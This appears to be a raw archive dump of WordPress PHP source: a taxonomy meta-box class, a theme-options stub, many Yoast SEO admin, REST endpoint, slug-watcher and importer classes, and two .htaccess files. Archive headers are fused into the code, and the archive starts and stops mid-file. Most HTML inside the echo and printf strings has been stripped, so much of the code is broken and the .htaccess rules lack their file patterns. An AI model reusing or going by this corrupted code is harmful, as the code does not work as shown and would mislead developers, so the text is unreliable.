'rw_taxonomy_meta_nonce' ); echo '
'; echo "

{$this->_meta['title']}

"; echo "

{$this->_meta['info']}

"; echo ""; foreach ( $this->_fields as $field ) { echo ''; $meta = ! empty( $metas[ $field['id'] ] ) ? $metas[ $field['id'] ] : $field['std']; // get meta value for current field $meta = is_array( $meta ) ? array_map( 'esc_attr', $meta ) : esc_attr( $meta ); call_user_func( array( $this, 'show_field_' . $field['type'] ), $field, $meta ); echo ''; } echo '
'; } /******************** BEGIN META BOX FIELDS **********************/ function show_field_begin( $field, $meta ) { echo ""; if ( ! empty( $field['desc'] ) ) { echo "{$field['desc']}"; } echo ""; } function show_field_end( $field, $meta ) { echo ""; } function show_field_info( $field, $meta ) { $this->show_field_begin( $field, $meta ); $this->show_field_end( $field, $meta ); } function show_field_text( $field, $meta ) { if ( ! isset( $field['placeholder'] ) ) { $field['placeholder'] = ''; } if ( ! isset( $field['classes'] ) ) { $field['classes'] = 'text-field'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_textarea( $field, $meta ) { if ( ! isset( $field['placeholder'] ) ) { $field['placeholder'] = ''; } if ( empty( $field['rows'] ) ) { $field['rows'] = '10'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_select( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_radio( $field, $meta ) { $this->show_field_begin( $field, $meta ); $html = array(); foreach ( $field['options'] as $key => $value ) { $html[] .= ""; } echo implode( ' ', $html ); $this->show_field_end( $field, $meta ); } function show_field_checkbox( $field, $meta ) { $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_wysiwyg( $field, $meta ) { $this->show_field_begin( $field, $meta ); wp_editor( $meta, $field['id'], array( 'textarea_name' => $field['id'], 'editor_class' => $field['id'] . ' theEditor', ) ); $this->show_field_end( $field, $meta ); } function show_field_file( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo '
    '; foreach ( $meta as $att ) { printf( '
  1. %s (%s)
  2. ', wp_get_attachment_link( $att ), __( 'Delete', 'rwtm' ), $field['id'], $att ); } echo '
'; echo "" . __( 'Select File', 'rwtm' ) . ""; echo ''; } function show_field_image( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo '
    '; foreach ( $meta as $att ) { $image = wp_get_attachment_image_src( $att, array( 150, 150 ) ); if ( $image === false ) { continue; } printf( '
  • %s
  • ', $image[0], __( 'Delete', 'rwtm' ), $field['id'], $att ); } echo '
'; echo "" . __( 'Select Image', 'rwtm' ) . ""; echo ''; } function show_field_color( $field, $meta ) { if ( empty( $meta ) ) { $meta = '#'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_checkbox_list( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); $html = array(); foreach ( $field['options'] as $key => $value ) { $html[] = " $value"; } echo implode( '
', $html ); $this->show_field_end( $field, $meta ); } function show_field_date( $field, $meta ) { $this->show_field_text( $field, $meta ); } function show_field_time( $field, $meta ) { $this->show_field_text( $field, $meta ); } /******************** BEGIN META BOX SAVE **********************/ // Save meta fields function save( $term_id, $tt_id ) { $current_term = get_term( $term_id ); $metas = get_option( $this->_meta['id'] ); if ( ! is_array( $metas ) ) { $metas = (array) $metas; } // $meta = isset( $metas[ $term_id ] ) ? $metas[ $term_id ] : array(); $new_array = array(); $new_array['_term_slug'] = ''; foreach ( $this->_fields as $field ) { $name = $field['id']; $new = isset( $_POST[ $name ] ) ? $_POST[ $name ] : ( $field['multiple'] ? array() : '' ); $new = is_array( $new ) ? array_map( 'stripslashes', $new ) : stripslashes( $new ); /** add attachment URLs */ if ( ! empty( $field['type'] ) && $field['type'] == 'image' ) { $attachments = $field['id'] . '_urls'; $new_array[ $attachments ] = array(); if ( is_array( $new ) ) { foreach ( $new as $image_id ) { array_push( $new_array[ $attachments ], wp_get_attachment_image_url( $image_id, 'full' )); } } } $new_array[ $name ] = $new; } $new_array['_term_slug'] = $current_term->slug; $metas[ $term_id ] = $new_array; update_option( $this->_meta['id'], $metas ); } /******************** BEGIN META BOX DELETE **********************/ function delete( $term_id, $tt_id ) { $metas = get_option( $this->_meta['id'] ); if ( ! is_array( $metas ) ) { $metas = (array) $metas; } unset( $metas[ $term_id ] ); update_option( $this->_meta['id'], $metas ); } /******************** BEGIN HELPER FUNCTIONS **********************/ // Add missed values for meta box function normalize() { // Default values for meta box $this->_meta = array_merge( array( 'taxonomies' => array( 'category', 'post_tag' ) ), $this->_meta ); $this->_taxonomies = $this->_meta['taxonomies']; $this->_fields = $this->_meta['fields']; // Default values for fields foreach ( $this->_fields as & $field ) { $multiple = in_array( $field['type'], array( 'checkbox_list', 'file', 'image' ) ) ? true : false; $std = $multiple ? array() : ''; $format = 'date' == $field['type'] ? 'yy-mm-dd' : ( 'time' == $field['type'] ? 'hh:mm' : '' ); $style = in_array( $field['type'], array( 'text', 'textarea' ) ) ? 'width: 95%' : ''; $optgroups = false; if ( 'select' == $field['type'] ) { $style = 'height: auto'; } $field = array_merge( array( 'multiple' => $multiple, 'optgroups' => $optgroups, 'std' => $std, 'desc' => '', 'format' => $format, 'style' => $style, ), $field ); } } // Check if field with $type exists function has_field( $type ) { foreach ( $this->_fields as $field ) { if ( $type == $field['type'] ) { return true; } } return false; } /** * Fixes the odd indexing of multiple file uploads from the format: * $_FILES['field']['key']['index'] * To the more standard and appropriate: * $_FILES['field']['index']['key'] */ function fix_file_array( $files ) { $output = array(); foreach ( $files as $key => $list ) { foreach ( $list as $index => $value ) { $output[ $index ][ $key ] = $value; } } $files = $output; return $output; } /******************** END HELPER FUNCTIONS **********************/ } }core-helpers.php000064400000002172147207023670007657 0ustar00page_title = esc_html__( 'Theme Options', 'foxiz-core' ); $this->menu_title = esc_html__( 'Theme Options', 'foxiz-core' ); if ( ! $this->validate() ) { $this->menu_slug = 'rb-validation-redirect'; } else { $this->menu_slug = 'ruby-options'; } $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } return false; } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } return false; } } }tops/.htaccess000064400000001626147207023670007344 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] .htaccess000064400000001626147207023670006357 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] class-admin-editor-specific-replace-vars.php000064400000014537147207033440015117 0ustar00 [ 'id', 'pt_single', 'pt_plural', 'parent_title' ], 'post' => [ 'id', 'term404', 'pt_single', 'pt_plural' ], // Custom post type. 'custom_post_type' => [ 'id', 'term404', 'pt_single', 'pt_plural', 'parent_title' ], // Settings - archive pages. 'custom-post-type_archive' => [ 'pt_single', 'pt_plural' ], // Taxonomies. 'category' => [ 'term_title', 'term_description', 'category_description', 'parent_title', 'term_hierarchy' ], 'post_tag' => [ 'term_title', 'term_description', 'tag_description' ], 'post_format' => [ 'term_title' ], // Custom taxonomy. 'term-in-custom-taxonomy' => [ 'term_title', 'term_description', 'category_description', 'parent_title', 'term_hierarchy' ], // Settings - special pages. 'search' => [ 'searchphrase' ], ]; /** * WPSEO_Admin_Editor_Specific_Replace_Vars constructor. */ public function __construct() { $this->add_for_page_types( [ 'page', 'post', 'custom_post_type' ], WPSEO_Custom_Fields::get_custom_fields() ); $this->add_for_page_types( [ 'post', 'term-in-custom-taxonomy' ], WPSEO_Custom_Taxonomies::get_custom_taxonomies() ); } /** * Retrieves the editor specific replacement variables. * * @return array The editor specific replacement variables. */ public function get() { /** * Filter: Adds the possibility to add extra editor specific replacement variables. * * @param array $replacement_variables Array of editor specific replace vars. */ $replacement_variables = apply_filters( 'wpseo_editor_specific_replace_vars', $this->replacement_variables ); if ( ! is_array( $replacement_variables ) ) { $replacement_variables = $this->replacement_variables; } return array_filter( $replacement_variables, 'is_array' ); } /** * Retrieves the generic replacement variable names. * * Which are the replacement variables without the editor specific ones. * * @param array $replacement_variables Possibly generic replacement variables. * * @return array The generic replacement variable names. */ public function get_generic( $replacement_variables ) { $shared_variables = array_diff( $this->extract_names( $replacement_variables ), $this->get_unique_replacement_variables() ); return array_values( $shared_variables ); } /** * Determines the page type of the current term. * * @param string $taxonomy The taxonomy name. * * @return string The page type. */ public function determine_for_term( $taxonomy ) { $replacement_variables = $this->get(); if ( array_key_exists( $taxonomy, $replacement_variables ) ) { return $taxonomy; } return 'term-in-custom-taxonomy'; } /** * Determines the page type of the current post. * * @param WP_Post $post A WordPress post instance. * * @return string The page type. */ public function determine_for_post( $post ) { if ( $post instanceof WP_Post === false ) { return 'post'; } $replacement_variables = $this->get(); if ( array_key_exists( $post->post_type, $replacement_variables ) ) { return $post->post_type; } return 'custom_post_type'; } /** * Determines the page type for a post type. * * @param string $post_type The name of the post_type. * @param string $fallback The page type to fall back to. * * @return string The page type. */ public function determine_for_post_type( $post_type, $fallback = 'custom_post_type' ) { if ( ! $this->has_for_page_type( $post_type ) ) { return $fallback; } return $post_type; } /** * Determines the page type for an archive page. * * @param string $name The name of the archive. * @param string $fallback The page type to fall back to. * * @return string The page type. */ public function determine_for_archive( $name, $fallback = 'custom-post-type_archive' ) { $page_type = $name . '_archive'; if ( ! $this->has_for_page_type( $page_type ) ) { return $fallback; } return $page_type; } /** * Adds the replavement variables for the given page types. * * @param array $page_types Page types to add variables for. * @param array $replacement_variables_to_add The variables to add. * * @return void */ protected function add_for_page_types( array $page_types, array $replacement_variables_to_add ) { if ( empty( $replacement_variables_to_add ) ) { return; } $replacement_variables_to_add = array_fill_keys( $page_types, $replacement_variables_to_add ); $replacement_variables = $this->replacement_variables; $this->replacement_variables = array_merge_recursive( $replacement_variables, $replacement_variables_to_add ); } /** * Extracts the names from the given replacements variables. * * @param array $replacement_variables Replacement variables to extract the name from. * * @return array Extracted names. */ protected function extract_names( $replacement_variables ) { $extracted_names = []; foreach ( $replacement_variables as $replacement_variable ) { if ( empty( $replacement_variable['name'] ) ) { continue; } $extracted_names[] = $replacement_variable['name']; } return $extracted_names; } /** * Returns whether the given page type has editor specific replace vars. * * @param string $page_type The page type to check. * * @return bool True if there are associated editor specific replace vars. */ protected function has_for_page_type( $page_type ) { $replacement_variables = $this->get(); return ( ! empty( $replacement_variables[ $page_type ] ) && is_array( $replacement_variables[ $page_type ] ) ); } /** * Merges all editor specific replacement variables into one array and removes duplicates. * * @return array The list of unique editor specific replacement variables. */ protected function get_unique_replacement_variables() { $merged_replacement_variables = call_user_func_array( 'array_merge', array_values( $this->get() ) ); return array_unique( $merged_replacement_variables ); } } class-admin-gutenberg-compatibility-notification.php000064400000005062147207033440016772 0ustar00compatibility_checker = new WPSEO_Gutenberg_Compatibility(); $this->notification_center = Yoast_Notification_Center::get(); } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { add_action( 'admin_init', [ $this, 'manage_notification' ] ); } /** * Manages if the notification should be shown or removed. * * @return void */ public function manage_notification() { /** * Filter: 'yoast_display_gutenberg_compat_notification' - Allows developer to disable the Gutenberg compatibility * notification. * * @param bool $display_notification */ $display_notification = apply_filters( 'yoast_display_gutenberg_compat_notification', true ); if ( ! $this->compatibility_checker->is_installed() || $this->compatibility_checker->is_fully_compatible() || ! $display_notification ) { $this->notification_center->remove_notification_by_id( $this->notification_id ); return; } $this->add_notification(); } /** * Adds the notification to the notificaton center. * * @return void */ protected function add_notification() { $level = $this->compatibility_checker->is_below_minimum() ? Yoast_Notification::ERROR : Yoast_Notification::WARNING; $message = sprintf( /* translators: %1$s expands to Yoast SEO, %2$s expands to the installed version, %3$s expands to Gutenberg */ __( '%1$s detected you are using version %2$s of %3$s, please update to the latest version to prevent compatibility issues.', 'wordpress-seo' ), 'Yoast SEO', $this->compatibility_checker->get_installed_version(), 'Gutenberg' ); $notification = new Yoast_Notification( $message, [ 'id' => $this->notification_id, 'type' => $level, 'priority' => 1, ] ); $this->notification_center->add_notification( $notification ); } } class-option-tabs-formatter.php000064400000005531147207033440012630 0ustar00get_base() . '/' . $tab->get_name() . '.php'; } /** * Outputs the option tabs. * * @param WPSEO_Option_Tabs $option_tabs Option Tabs to get tabs from. * * @return void */ public function run( WPSEO_Option_Tabs $option_tabs ) { echo ''; foreach ( $option_tabs->get_tabs() as $tab ) { $identifier = $tab->get_name(); $class = 'wpseotab ' . ( $tab->has_save_button() ? 'save' : 'nosave' ); printf( '
', esc_attr( $identifier ), esc_attr( $class ) ); $tab_filter_name = sprintf( '%s_%s', $option_tabs->get_base(), $tab->get_name() ); /** * Allows to override the content that is display on the specific option tab. * * @internal For internal Yoast SEO use only. * * @param string|null $tab_contents The content that should be displayed for this tab. Leave empty for default behaviour. * @param WPSEO_Option_Tabs $option_tabs The registered option tabs. * @param WPSEO_Option_Tab $tab The tab that is being displayed. */ $option_tab_content = apply_filters( 'wpseo_option_tab-' . $tab_filter_name, null, $option_tabs, $tab ); if ( ! empty( $option_tab_content ) ) { echo wp_kses_post( $option_tab_content ); } if ( empty( $option_tab_content ) ) { // Output the settings view for all tabs. $tab_view = $this->get_tab_view( $option_tabs, $tab ); if ( is_file( $tab_view ) ) { $yform = Yoast_Form::get_instance(); require $tab_view; } } echo '
'; } } } interface-collection.php000064400000000401147207033440011345 0ustar00 false, 'timeout' => 2, ]; /** * Holds the response error. * * @var WP_Error|null */ protected $response_error; /** * Holds the response body. * * @var mixed */ protected $response_body; /** * Sets the endpoint and arguments. * * @param string $endpoint The endpoint to send the request to. * @param array $args The arguments to use in this request. */ public function __construct( $endpoint, array $args = [] ) { $this->endpoint = $endpoint; $this->args = wp_parse_args( $this->args, $args ); } /** * Sets the request body. * * @param mixed $body The body to set. * * @return void */ public function set_body( $body ) { $this->args['body'] = $body; } /** * Sends the data to the given endpoint. * * @param string $method The type of request to send. * * @return bool True when sending data has been successful. */ public function send( $method = self::METHOD_POST ) { switch ( $method ) { case self::METHOD_POST: $response = $this->post(); break; case self::METHOD_GET: $response = $this->get(); break; default: /* translators: %1$s expands to the request method */ $response = new WP_Error( 1, sprintf( __( 'Request method %1$s is not valid.', 'wordpress-seo' ), $method ) ); break; } return $this->process_response( $response ); } /** * Returns the value of the response error. * * @return WP_Error|null The response error. */ public function get_response_error() { return $this->response_error; } /** * Returns the response body. * * @return mixed The response body. */ public function get_response_body() { return $this->response_body; } /** * Processes the given response. * * @param mixed $response The response to process. * * @return bool True when response is valid. */ protected function process_response( $response ) { if ( $response instanceof WP_Error ) { $this->response_error = $response; return false; } $this->response_body = wp_remote_retrieve_body( $response ); return ( wp_remote_retrieve_response_code( $response ) === 200 ); } /** * Performs a post request to the specified endpoint with set arguments. * * @return WP_Error|array The response or WP_Error on failure. */ protected function post() { return wp_remote_post( $this->endpoint, $this->args ); } /** * Performs a post request to the specified endpoint with set arguments. * * @return WP_Error|array The response or WP_Error on failure. */ protected function get() { return wp_remote_get( $this->endpoint, $this->args ); } } watchers/class-slug-change-watcher.php000064400000017023147207033440014037 0ustar00helpers->product->is_premium() ) { return; } add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); // Detect a post trash. add_action( 'wp_trash_post', [ $this, 'detect_post_trash' ] ); // Detect a post delete. add_action( 'before_delete_post', [ $this, 'detect_post_delete' ] ); // Detects deletion of a term. add_action( 'delete_term_taxonomy', [ $this, 'detect_term_delete' ] ); } /** * Enqueues the quick edit handler. * * @return void */ public function enqueue_assets() { global $pagenow; if ( ! in_array( $pagenow, [ 'edit.php', 'edit-tags.php' ], true ) ) { return; } $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'quick-edit-handler' ); } /** * Shows a message when a post is about to get trashed. * * @param int $post_id The current post ID. * * @return void */ public function detect_post_trash( $post_id ) { if ( ! $this->is_post_viewable( $post_id ) ) { return; } $post_label = $this->get_post_type_label( get_post_type( $post_id ) ); /* translators: %1$s expands to the translated name of the post type. */ $first_sentence = sprintf( __( 'You just trashed a %1$s.', 'wordpress-seo' ), $post_label ); $second_sentence = __( 'Search engines and other websites can still send traffic to your trashed content.', 'wordpress-seo' ); $message = $this->get_message( $first_sentence, $second_sentence ); $this->add_notification( $message ); } /** * Shows a message when a post is about to get trashed. * * @param int $post_id The current post ID. * * @return void */ public function detect_post_delete( $post_id ) { if ( ! $this->is_post_viewable( $post_id ) ) { return; } $post_label = $this->get_post_type_label( get_post_type( $post_id ) ); /* translators: %1$s expands to the translated name of the post type. */ $first_sentence = sprintf( __( 'You just deleted a %1$s.', 'wordpress-seo' ), $post_label ); $second_sentence = __( 'Search engines and other websites can still send traffic to your deleted content.', 'wordpress-seo' ); $message = $this->get_message( $first_sentence, $second_sentence ); $this->add_notification( $message ); } /** * Shows a message when a term is about to get deleted. * * @param int $term_taxonomy_id The term taxonomy ID that will be deleted. * * @return void */ public function detect_term_delete( $term_taxonomy_id ) { if ( ! $this->is_term_viewable( $term_taxonomy_id ) ) { return; } $term = get_term_by( 'term_taxonomy_id', (int) $term_taxonomy_id ); $term_label = $this->get_taxonomy_label_for_term( $term->term_id ); /* translators: %1$s expands to the translated name of the term. */ $first_sentence = sprintf( __( 'You just deleted a %1$s.', 'wordpress-seo' ), $term_label ); $second_sentence = __( 'Search engines and other websites can still send traffic to your deleted content.', 'wordpress-seo' ); $message = $this->get_message( $first_sentence, $second_sentence ); $this->add_notification( $message ); } /** * Checks if the post is viewable. * * @param string $post_id The post id to check. * * @return bool Whether the post is viewable or not. */ protected function is_post_viewable( $post_id ) { $post_type = get_post_type( $post_id ); if ( ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) ) { return false; } $post_status = get_post_status( $post_id ); if ( ! $this->check_visible_post_status( $post_status ) ) { return false; } return true; } /** * Checks if the term is viewable. * * @param int $term_taxonomy_id The term taxonomy ID to check. * * @return bool Whether the term is viewable or not. */ protected function is_term_viewable( $term_taxonomy_id ) { $term = get_term_by( 'term_taxonomy_id', (int) $term_taxonomy_id ); if ( ! $term || is_wp_error( $term ) ) { return false; } $taxonomy = get_taxonomy( $term->taxonomy ); if ( ! $taxonomy ) { return false; } return $taxonomy->publicly_queryable || $taxonomy->public; } /** * Gets the taxonomy label to use for a term. * * @param int $term_id The term ID. * * @return string The taxonomy's singular label. */ protected function get_taxonomy_label_for_term( $term_id ) { $term = get_term( $term_id ); $taxonomy = get_taxonomy( $term->taxonomy ); return $taxonomy->labels->singular_name; } /** * Retrieves the singular post type label. * * @param string $post_type Post type to retrieve label from. * * @return string The singular post type name. */ protected function get_post_type_label( $post_type ) { $post_type_object = get_post_type_object( $post_type ); // If the post type of this post wasn't registered default back to post. if ( $post_type_object === null ) { $post_type_object = get_post_type_object( 'post' ); } return $post_type_object->labels->singular_name; } /** * Checks whether the given post status is visible or not. * * @param string $post_status The post status to check. * * @return bool Whether or not the post is visible. */ protected function check_visible_post_status( $post_status ) { $visible_post_statuses = [ 'publish', 'static', 'private', ]; return in_array( $post_status, $visible_post_statuses, true ); } /** * Returns the message around changed URLs. * * @param string $first_sentence The first sentence of the notification. * @param string $second_sentence The second sentence of the notification. * * @return string The full notification. */ protected function get_message( $first_sentence, $second_sentence ) { return '

' . __( 'Make sure you don\'t miss out on traffic!', 'wordpress-seo' ) . '

' . '

' . $first_sentence . ' ' . $second_sentence . ' ' . __( 'You should create a redirect to ensure your visitors do not get a 404 error when they click on the no longer working URL.', 'wordpress-seo' ) /* translators: %s expands to Yoast SEO Premium */ . ' ' . sprintf( __( 'With %s, you can easily create such redirects.', 'wordpress-seo' ), 'Yoast SEO Premium' ) . '

' . '

' /* translators: %s expands to Yoast SEO Premium */ . sprintf( __( 'Get %s', 'wordpress-seo' ), 'Yoast SEO Premium' ) /* translators: Hidden accessibility text. */ . '' . __( '(Opens in a new browser tab)', 'wordpress-seo' ) . '' . '' . '

'; } /** * Adds a notification to be shown on the next page request since posts are updated in an ajax request. * * @param string $message The message to add to the notification. * * @return void */ protected function add_notification( $message ) { $notification = new Yoast_Notification( $message, [ 'type' => 'notice-warning is-dismissible', 'yoast_branding' => true, ] ); $notification_center = Yoast_Notification_Center::get(); $notification_center->add_notification( $notification ); } } class-premium-upsell-admin-block.php000064400000012164147207033440013526 0ustar00hook = $hook; } /** * Registers WordPress hooks. * * @return void */ public function register_hooks() { add_action( $this->hook, [ $this, 'render' ] ); } /** * Renders the upsell block. * * @return void */ public function render() { $url = WPSEO_Shortlinker::get( 'https://yoa.st/17h' ); $arguments = [ sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$sAI%2$s: Better SEO titles and meta descriptions, faster.', 'wordpress-seo' ), '', '' ), sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$sMultiple keywords%2$s: Rank higher for more searches.', 'wordpress-seo' ), '', '' ), sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$sSuper fast%2$s internal linking suggestions.', 'wordpress-seo' ), '', '' ), sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$sNo more broken links%2$s: Automatic redirect manager.', 'wordpress-seo' ), '', '' ), sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$sAppealing social previews%2$s people actually want to click on.', 'wordpress-seo' ), '', '' ), sprintf( /* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */ esc_html__( '%1$s24/7 support%2$s: Also on evenings and weekends.', 'wordpress-seo' ), '', '' ), '' . esc_html__( 'No ads!', 'wordpress-seo' ) . '', ]; $arguments_html = implode( '', array_map( [ $this, 'get_argument_html' ], $arguments ) ); $class = $this->get_html_class(); /* translators: %s expands to Yoast SEO Premium */ $button_text = YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ? esc_html__( 'Upgrade now', 'wordpress-seo' ) : sprintf( esc_html__( 'Explore %s now!', 'wordpress-seo' ), 'Yoast SEO Premium' ); /* translators: Hidden accessibility text. */ $button_text .= '' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '' . ''; $upgrade_button = sprintf( '%3$s', esc_attr( 'wpseo-' . $this->identifier . '-popup-button' ), esc_url( $url ), $button_text ); echo '
'; if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) { $bf_label = esc_html__( 'BLACK FRIDAY', 'wordpress-seo' ); $sale_label = esc_html__( '30% OFF', 'wordpress-seo' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Already escaped above. echo "
$sale_label $bf_label
"; } echo '
'; echo '

' . sprintf( /* translators: %s expands to Yoast SEO Premium */ esc_html__( 'Upgrade to %s', 'wordpress-seo' ), 'Yoast SEO Premium' ) . '

'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in $this->get_argument_html() method. echo '
    ' . $arguments_html . '
'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in $upgrade_button and $button_text above. echo '

' . $upgrade_button . '

'; echo '
'; echo '
'; } /** * Formats the argument to a HTML list item. * * @param string $argument The argument to format. * * @return string Formatted argument in HTML. */ protected function get_argument_html( $argument ) { $class = $this->get_html_class(); return sprintf( '
  • %2$s
  • ', esc_attr( $class . '--argument' ), $argument ); } /** * Returns the HTML base class to use. * * @return string The HTML base class. */ protected function get_html_class() { return 'yoast_' . $this->identifier; } } class-admin-asset-dev-server-location.php000064400000003210147207033440014453 0ustar00url = $url; } /** * Determines the URL of the asset on the dev server. * * @param WPSEO_Admin_Asset $asset The asset to determine the URL for. * @param string $type The type of asset. Usually JS or CSS. * * @return string The URL of the asset. */ public function get_url( WPSEO_Admin_Asset $asset, $type ) { if ( $type === WPSEO_Admin_Asset::TYPE_CSS ) { return $this->get_default_url( $asset, $type ); } $path = sprintf( 'js/dist/%s%s.js', $asset->get_src(), $asset->get_suffix() ); return trailingslashit( $this->url ) . $path; } /** * Determines the URL of the asset not using the dev server. * * @param WPSEO_Admin_Asset $asset The asset to determine the URL for. * @param string $type The type of asset. * * @return string The URL of the asset file. */ public function get_default_url( WPSEO_Admin_Asset $asset, $type ) { $default_location = new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE ); return $default_location->get_url( $asset, $type ); } } endpoints/class-endpoint.php000064400000000727147207033440012215 0ustar00service = $service; } /** * Registers the routes for the endpoints. * * @return void */ public function register() { $route_args = [ 'methods' => 'GET', 'args' => [ 'url' => [ 'required' => true, 'type' => 'string', 'description' => 'The url to retrieve', ], ], 'callback' => [ $this->service, 'get', ], 'permission_callback' => [ $this, 'can_retrieve_data', ], ]; register_rest_route( self::REST_NAMESPACE, self::ENDPOINT_SINGULAR, $route_args ); } /** * Determines whether or not data can be retrieved for the registered endpoints. * * @return bool Whether or not data can be retrieved. */ public function can_retrieve_data() { return current_user_can( self::CAPABILITY_RETRIEVE ); } } endpoints/class-endpoint-statistics.php000064400000003167147207033440014406 0ustar00service = $service; } /** * Registers the REST routes that are available on the endpoint. * * @return void */ public function register() { // Register fetch config. $route_args = [ 'methods' => 'GET', 'callback' => [ $this->service, 'get_statistics' ], 'permission_callback' => [ $this, 'can_retrieve_data' ], ]; register_rest_route( self::REST_NAMESPACE, self::ENDPOINT_RETRIEVE, $route_args ); } /** * Determines whether or not data can be retrieved for the registered endpoints. * * @return bool Whether or not data can be retrieved. */ public function can_retrieve_data() { return current_user_can( self::CAPABILITY_RETRIEVE ); } } import/class-import-detector.php000064400000001355147207033440013023 0ustar00status->status ) { $this->needs_import[ $importer_class ] = $importer->get_plugin_name(); } } } } import/class-import-status.php000064400000005312147207033440012532 0ustar00action = $action; $this->status = $status; $this->msg = $msg; } /** * Get the import message. * * @return string Message about current status. */ public function get_msg() { if ( $this->msg !== '' ) { return $this->msg; } if ( $this->status === false ) { /* translators: %s is replaced with the name of the plugin we're trying to find data from. */ return __( '%s data not found.', 'wordpress-seo' ); } return $this->get_default_success_message(); } /** * Get the import action. * * @return string Import action type. */ public function get_action() { return $this->action; } /** * Set the import action, set status to false. * * @param string $action The type of action to set as import action. * * @return void */ public function set_action( $action ) { $this->action = $action; $this->status = false; } /** * Sets the importer status message. * * @param string $msg The message to set. * * @return void */ public function set_msg( $msg ) { $this->msg = $msg; } /** * Sets the importer status. * * @param bool $status The status to set. * * @return WPSEO_Import_Status The current object. */ public function set_status( $status ) { $this->status = (bool) $status; return $this; } /** * Returns a success message depending on the action. * * @return string Returns a success message for the current action. */ private function get_default_success_message() { switch ( $this->action ) { case 'import': /* translators: %s is replaced with the name of the plugin we're importing data from. */ return __( '%s data successfully imported.', 'wordpress-seo' ); case 'cleanup': /* translators: %s is replaced with the name of the plugin we're removing data from. */ return __( '%s data successfully removed.', 'wordpress-seo' ); case 'detect': default: /* translators: %s is replaced with the name of the plugin we've found data from. */ return __( '%s data found.', 'wordpress-seo' ); } } } import/plugins/class-import-smartcrawl.php000064400000006221147207033440015047 0ustar00 '_wds_metadesc', 'new_key' => 'metadesc', ], [ 'old_key' => '_wds_title', 'new_key' => 'title', ], [ 'old_key' => '_wds_canonical', 'new_key' => 'canonical', ], [ 'old_key' => '_wds_focus-keywords', 'new_key' => 'focuskw', ], [ 'old_key' => '_wds_meta-robots-noindex', 'new_key' => 'meta-robots-noindex', ], [ 'old_key' => '_wds_meta-robots-nofollow', 'new_key' => 'meta-robots-nofollow', ], ]; /** * Used for importing Twitter and Facebook meta's. * * @var array */ protected $social_keys = []; /** * Handles post meta data to import. * * @return bool Import success status. */ protected function import() { $return = parent::import(); if ( $return ) { $this->import_opengraph(); $this->import_twitter(); } return $return; } /** * Imports the OpenGraph meta keys saved by Smartcrawl. * * @return bool Import status. */ protected function import_opengraph() { $this->social_keys = [ 'title' => 'opengraph-title', 'description' => 'opengraph-description', 'images' => 'opengraph-image', ]; return $this->post_find_import( '_wds_opengraph' ); } /** * Imports the Twitter meta keys saved by Smartcrawl. * * @return bool Import status. */ protected function import_twitter() { $this->social_keys = [ 'title' => 'twitter-title', 'description' => 'twitter-description', ]; return $this->post_find_import( '_wds_twitter' ); } /** * Imports a post's serialized post meta values. * * @param int $post_id Post ID. * @param string $key The meta key to import. * * @return void */ protected function import_serialized_post_meta( $post_id, $key ) { $data = get_post_meta( $post_id, $key, true ); $data = maybe_unserialize( $data ); foreach ( $this->social_keys as $key => $meta_key ) { if ( ! isset( $data[ $key ] ) ) { return; } $value = $data[ $key ]; if ( is_array( $value ) ) { $value = $value[0]; } $this->maybe_save_post_meta( $meta_key, $value, $post_id ); } } /** * Finds all the posts with a certain meta key and imports its values. * * @param string $key The meta key to search for. * * @return bool Import status. */ protected function post_find_import( $key ) { $query_posts = new WP_Query( 'post_type=any&meta_key=' . $key . '&order=ASC&fields=ids&nopaging=true' ); if ( empty( $query_posts->posts ) ) { return false; } foreach ( array_values( $query_posts->posts ) as $post_id ) { $this->import_serialized_post_meta( $post_id, $key ); } return true; } } import/plugins/class-import-headspace.php000064400000001762147207033440014612 0ustar00 '_headspace_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_headspace_page_title', 'new_key' => 'title', ], [ 'old_key' => 